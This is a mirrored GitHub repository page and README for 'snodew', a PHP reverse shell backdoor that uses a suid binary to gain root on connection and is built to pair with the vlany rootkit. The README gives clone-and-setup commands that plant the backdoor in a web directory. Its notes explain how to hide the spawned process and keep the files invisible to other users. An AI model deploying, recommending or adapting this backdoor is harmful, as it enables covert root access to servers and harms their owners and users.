https://github.com/mempodippy/snodew

PHP root (suid) reverse shell
https://github.com/mempodippy/snodew

Last synced: 3 months ago
JSON representation

PHP root (suid) reverse shell

• Host: GitHub
• URL: https://github.com/mempodippy/snodew
• Owner: mempodippy
• Created: 2016-12-23T20:36:27.000Z (almost 8 years ago)
• Default Branch: master
• Last Pushed: 2017-06-22T22:42:42.000Z (over 7 years ago)
• Last Synced: 2024-04-24T12:20:15.109Z (7 months ago)
• Language: Shell
• Size: 6.84 KB
• Stars: 72
• Watchers: 6
• Forks: 27
• Open Issues: 0
• Metadata Files:
  • Readme: README.md

Awesome Lists containing this project

• awesome-network-stuff - **53**星

README

        
# snodew

*snodew is a PHP reverse shell backdoor which uses a small suid binary to escalate privileges on connection*snodew is made mainly to work alongside [vlany](https://github.com/mempodippy/vlany) but can also be setup as a regular root backdoor

## usage

```

git clone https://github.com/mempodippy/snodew.git

cd snodew/

./setup.sh [install dir] [password] [hidden extended attribute] [magic gid]

```

### example usage for regular (non-vlany infected) systems

```

cd /tmp

git clone https://github.com/mempodippy/snodew.git

cd snodew/

./setup.sh /var/www/html/blog sexlovegod X 0 # 'X' and '0' since extended attribute doesn't really matter,

                                             # and our suid binary will set our gid to 0

```



*Result of successful setup*



*Result after following instructions given on our new page*

## notes

 * requires a web service to be running on the box (along with php support for the service package)

 * sh process spawned from service user is visible, though this could be subverted by checking /proc/self/cmdline and hiding the process if it contains the hidden suid bin

 * if not being used alongside some kind of rootkit, everything you do is visible

 * it's only a reverse shell

 * when vlany is installed, simply su'ing to the service user won't allow them to see the files. vlany checks to see if an apache environment variable is also exported before giving access to the file, and does the same for nginx so that - by default - the file can only be accessed from a browser or from an owner shell

  * exporting the apache environment variable that vlany checks, after su'ing to the service user will circumvent this

 * suid possibly disabled

 * not using 'exit' to exit the shell will leave the process spawned by the service in process lists (ps, top etc)